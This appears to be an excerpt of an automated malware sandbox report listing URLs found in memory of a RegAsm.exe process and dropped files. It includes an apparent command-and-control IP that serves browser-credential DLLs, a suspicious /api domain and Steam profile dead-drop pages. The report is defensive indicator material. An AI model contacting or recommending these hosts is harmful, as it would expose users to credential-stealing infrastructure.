Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp, RDPWInst.exe.15.dr String found in binary or memory: http://www.apache.org/licenses/
Source: RDPWInst.exe, 00000016.00000002.2858987262.0000000000450000.00000002.00000001.01000000.0000000F.sdmp, RDPWInst.exe.15.dr String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: RegAsm.exe, 00000003.00000002.2951825363.000000003E7FD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2934684215.0000000032912000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2898107037.0000000020AC7000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, nss3.dll.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 66f5dbaca34ac_lfdnsafnds[1].exe.3.dr, BGDGHJEHJJ.exe.3.dr, GIJEGDAKEH.exe.3.dr, 66f5db9e54794_vfkagks[1].exe.3.dr String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.2909837228.0000000026A3C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2981509228.000000006C58D000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.2895438057.000000002059D000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2858662976.000000001A5FC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://5.75.211.162
Source: RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162.exe
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016BF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/0_
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/1g
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/;_
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/B
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/C
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/F_
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/I_
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001598000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/freebl3.dll2
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001598000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/freebl3.dllb
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/k
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001598000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001598000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001598000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/msvcp140.dllh
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001555000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/nss3.dll
Source: RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/o
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001598000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001555000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016A2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/sqlp.dll
Source: RegAsm.exe, 00000003.00000002.2843926018.00000000015C5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/vcruntime140.dll
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001598000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/vcruntime140.dllv
Source: RegAsm.exe, 0000000E.00000002.3291876197.0000000000584000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162Data
Source: RegAsm.exe, 0000000E.00000002.3291876197.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162GIJDH
Source: RegAsm.exe, 00000003.00000002.2832771342.0000000000582000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162KKFCG
Source: RegAsm.exe, 0000000E.00000002.3291876197.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162h;
Source: CFBAKK.3.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ballotnwu.site/
Source: RegAsm.exe, 0000000B.00000002.2876092064.000000000121E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ballotnwu.site/O
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ballotnwu.site/api
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ballotnwu.site/apiii
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001242000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ballotnwu.site/apik
Source: RegAsm.exe, 0000000B.00000002.2877988854.0000000001237000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ballotnwu.site:443/apiprofiles/76561199724331900
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp, IJKFII.3.dr String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: RegAsm.exe, 00000003.00000002.2843926018.000000000163F000.00000004.00000020.00020000.00000000.sdmp, IJKFII.3.dr String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: CFBAKK.3.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: CFBAKK.3.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: CFBAKK.3.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 0000000E.00000002.3291876197.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&amp;l=english
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&amp;l=english
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&amp;l=englis
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=PzKBszTg
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2877988854.0000000001296000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004F6000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000506000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000051F000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004EF000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000528000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000050E000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004E8000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.0000000000516000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.00000000004FE000.00000040.00000400.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&amp;l=english
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&amp;l=engl
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&amp;l=english
Source: RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&amp;l=english
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&amp;l=en
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp;l=e
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=B0lGn8MokmdT&amp;l=e
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&amp;l=english
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&amp;l=engl
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&amp;l=en
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.2882185687.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&amp;
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2832771342.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3291876197.000000000052D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.3294389274.00000000016CD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
